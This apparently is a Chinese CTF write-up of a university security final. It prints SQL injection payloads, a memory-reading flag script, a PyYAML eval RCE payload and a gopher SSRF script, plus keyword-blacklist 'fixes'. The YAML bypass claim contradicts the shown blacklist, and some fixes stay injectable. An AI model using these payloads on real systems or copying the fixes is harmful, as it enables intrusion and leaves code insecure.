第三届“华为杯”研究生网络安全决赛AWDP详细全解
1315609050541697 发表于 湖北 CTF 489浏览 · 2024-11-19 01:42

学生管理系统

万能密码进入管理员页面

'admin or 1=1#

试了一些功能发现只有查询功能可以利用

抓包测试发现使用的是模糊匹配来查询

{"method":"queryAll","keyword":"郭心%'#"}

接下来就是sql注入
查询表名

{"method":"queryAll","keyword":"郭心%'union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6,7,8#"}

查询列名

{"method":"queryAll","keyword":"郭心%'union select (select group_concat(column_name) from information_schema.columns where table_name='flag'),2,3,4,5,6,7,8#"}

查询flag

{"method":"queryAll","keyword":"郭心%'union select (select flag from flag),2,3,4,5,6,7,8#"}

Fix

将sql注入的单双引号以及报错注入和常用关键词过滤掉

<?php
include '../bean/Res.php';
include '../utils/DbConnection.php';
include '../bean/Student.php';
include '../utils/uu.php';

class StudentDao{
    /**
     * LoginDao constructor.
     */
    public function __construct(){
        $this->con = DbConnection::getConnection();
    }

    /**
     * 查询全部
     * @return bool|void
     */
    public function queryAll($param)
    {
        $sql = "select * from t_student";
        $keyword = $param->keyword;
        if(preg_match('/\'|\%|\"|\#|\*|select|and|union|extractvalue|value|sleep|from|select|table|\?/i', $keyword)){  
            die("WAF!!!Fuck!!!");  
        }  
        if ($keyword != "") {
            $sql = "select * from t_student where username like '%".$keyword."%'";
        }
        $res = mysqli_query($this->con, $sql);
        $ary = array();

        if (!$res) {
            die('查询失败' . mysqli_error($this->con));
        } else {
            while ($row = mysqli_fetch_array($res)) {
                $student = new Student();
                $student->setId($row['id']);
                $student->setUsername($row['username']);
                $student->setGender($row['gender']);
                $student->setCollege($row['college']);
                $student->setMajor($row['major']);
                $student->setPhone($row['phone']);
                $student->setDorm($row['dorm']);
                $student->setStartdate($row['startdate']);
                array_push($ary, $student);
            }
            return $ary;
        }
    }

    /**
     * 保存
     * @param $param
     */
    public function save($param){
        $sql = "insert into t_student(username, gender, college, major, phone, dorm, startdate) values 
                ('".$param->username."', '".$param->gender."', '".$param->college."', '".$param->major."',
                 '".$param->phone."', '".$param->dorm."', '".$param->startdate."')";
        $res = mysqli_query($this->con, $sql);
        return $res;
    }

    /**
     * 更新
     * @param $param
     */
    public function update($param){
        $sql = "update t_student set username='".$param->username."', 
         gender = '".$param->gender."',
         college = '".$param->college."',
         gender = '".$param->gender."',
         major = '".$param->major."',
         gender = '".$param->gender."',
         phone = '".$param->phone."',
         phone = '".$param->phone."',
         dorm = '".$param->dorm."',
         startdate = '".$param->startdate."' 
         where id =  ".$param->id." ";
        $res = mysqli_query($this->con, $sql);
    }

    /**
     * 删除
     * @param $param
     */
    public function delete($param){
        $sql = "delete from t_student where id =  ".$param->id." ";
        $res = mysqli_query($this->con, $sql);
    }

}

登录页面也要加waf

<?php
include '../dao/LoginDao.php';
include '../bean/Res.php';
session_start();
header("Content-Type: application/json;charset=UTF-8");

// 从请求中获取原始数据
$json = file_get_contents('php://input');

// 将其转换为 PHP 对象
$data = json_decode($json);
//$param = json_encode($data);

$loginDao = new LoginDao();

if(preg_match('/\'|\%|\"|\#|\*|select|and|union|extractvalue|value|sleep|from|select|table|\?/i', $data->uname)){  
    die("WAF!!!Fuck!!!");  
}  

if(preg_match('/\'|\%|\"|\#|\*|select|and|union|extractvalue|value|sleep|from|select|table|\?/i', $data->upass)){  
    die("WAF!!!Fuck!!!");  
}  

$res = $loginDao->login($data->uname, $data->upass);

$result = new Res();
if($res){
    $result->setSuccess(true);

    $_SESSION['admin'] = true;

    $result->setData("登录成功");
}else{
    $result->setSuccess(false);
    $result->setData("登录失败");
}
echo json_encode($result);
?>

ezpython

这题被非预期了,题目具有功能读取堆栈内存,我们可以直接读取相应地址即可
通过读内存我们可以直接读flag

import requests
import re


url = "http://localhost:30050/pprrhh"

map_list = requests.get(url + f"?maps=1")
map_list = map_list.text.split("\\n")
for i in map_list:
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+)", i)
    if map_addr:
        start = map_addr.group(1)
        end = map_addr.group(2)
        print("Found rw addr:", start, "-", end)
        res = requests.get(f"{url}?start={start}&end={end}")
        if "DASCTF" in res.text:
            secret_key = re.findall(r"DASCTF\{[a-z0-9]+\}", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                print(s_key)
                break

PyYaml

有一个文件上传接口只能上传yaml文件

过滤了一些标签和模块

def black_list(s):
    flag = False
    blacklist = ["apply", "popen", "os", "subprocess", "!python"]
    for no in blacklist:
        if no.lower() in str(s).lower():
            flag = True
            print(no)
            break
    return flag

那么我还可以用new标签来命令执行

!!python/object/new:eval ["__import__('o'+'s').system('touch aa')"]

Fix

修复后的源代码如下过滤!python即可

import os

import requests
from flask import Flask, request, render_template, jsonify, redirect
import yaml
import re

app = Flask(__name__)


def black_list(s):
    flag = False
    blacklist = ["apply", "popen", "os", "subprocess", "!python"]
    for no in blacklist:
        if no.lower() in str(s).lower():
            flag = True
            print(no)
            break
    return flag


file_pattern = re.compile(r".*\.yaml$")


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))


@app.route("/upload", methods=["POST"])
def upload_file():
    try:
        uploaded_file = request.files["file"]

        if uploaded_file and is_yaml_file(uploaded_file.filename):
            file_path = os.path.join("uploads/", uploaded_file.filename)
            uploaded_file.save(file_path)

            return (
                jsonify(
                    {"message": "File uploaded successfully", "file_path": file_path}
                ),
                200,
            )
        else:
            return (
                jsonify({"error": "Invalid file format. Please upload a YAML file."}),
                400,
            )

    except Exception as e:
        return jsonify({"error": str(e)}), 500


@app.route("/")
def check():
    if request.args:
        filename = request.args.get("filename")
        with open(f"uploads/{filename}.yaml", "rb") as f:
            file_content = f.read()

            if not black_list(file_content):
                test = yaml.load(file_content)
                return render_template("index.html", test=test)
            else:
                return render_template(
                    "index.html",
                    test="File content contains dangerous keyword. This is not allowed.",
                )
    else:
        return render_template("index.html")


@app.route("/delete")
def delete():
    os.system("rm -rf uploads/*;rm -rf static/*")
    return "delete successfully"


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

Inner

拿到源代码url.php

<?php

if (preg_match("/(127\.0\.0\.1)|(localhost)|(flag)|file|dict|com|ftp/i",$_REQUEST['url']))

{

    die("you can't get flag");

}

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,$_REQUEST['url']);

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

$output = curl_exec($ch);

echo $output;

curl_close($ch);

?>

index.php

<?php

header("Location: url.php?url=https://www.baidu.com/");

if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") {

    # flag in /flag

    readfile($_POST['evil']);

}

if(md5($_GET["str"]) == '0') {

    show_source("url.php");

}else{

    show_source(__FILE__);

}

可以看出来ssrf漏洞,有gopher没被过滤那么我们用gopher来post传参拿到flag
写脚本传参

import urllib.parse
host = "0.0.0.0"
content = r"evil=%2f%66%6c%61%67a"
print(len(content))
content_length = len(content)-1

test ="""POST / HTTP/1.1
Host: {}
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}""".format(host,content_length,content)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")

a="gopher://"+"0.0.0.0:80"+"/_"+new
result = urllib.parse.quote(a)
import requests

burp0_url = "http://localhost:8999/url.php?url="+result 
res=requests.get(burp0_url)
print(res.text)

我们通过url编码绕过flag关键字,所以传参的应该为编码过的flag
注意:需要添加一位无用数据,然后post数据长度-1保证报文正确

Fix

修复的话可以增加关键词过滤

<?php

if (preg_match("/(127\.0\.0\.1)|(localhost)|(flag)|file|dict|com|ftp|gopher/i",$_REQUEST['url']))

{

    die("you can't get flag");

}

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,$_REQUEST['url']);

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

$output = curl_exec($ch);

echo $output;

curl_close($ch);

?>
0 条评论
某人
表情
可输入 255
目录